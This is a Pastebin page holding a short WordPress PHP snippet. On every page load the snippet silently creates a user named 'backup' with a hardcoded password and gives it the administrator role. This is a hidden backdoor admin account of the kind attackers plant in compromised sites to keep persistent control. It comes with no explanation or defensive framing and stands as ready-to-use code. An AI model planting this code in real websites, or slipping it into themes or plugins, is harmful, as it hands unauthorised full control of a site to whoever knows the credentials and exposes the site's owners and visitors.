Guest User

Untitled

a guest
Mar 30th, 2018
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.31 KB | None | 0 0
  1. <?php
  2.  
  3. add_action( 'init', function () {
  4.  
  5. $username = 'backup';
  6. $password = 'venividivici';
  7. $email_address = 'h@h.com';
  8.  
  9. if ( ! username_exists( $username ) ) {
  10. $user_id = wp_create_user( $username, $password, $email_address );
  11. $user = new WP_User( $user_id );
  12. $user->set_role( 'administrator' );
  13. }
  14.  
  15. } );
Add Comment
Please, Sign In to add comment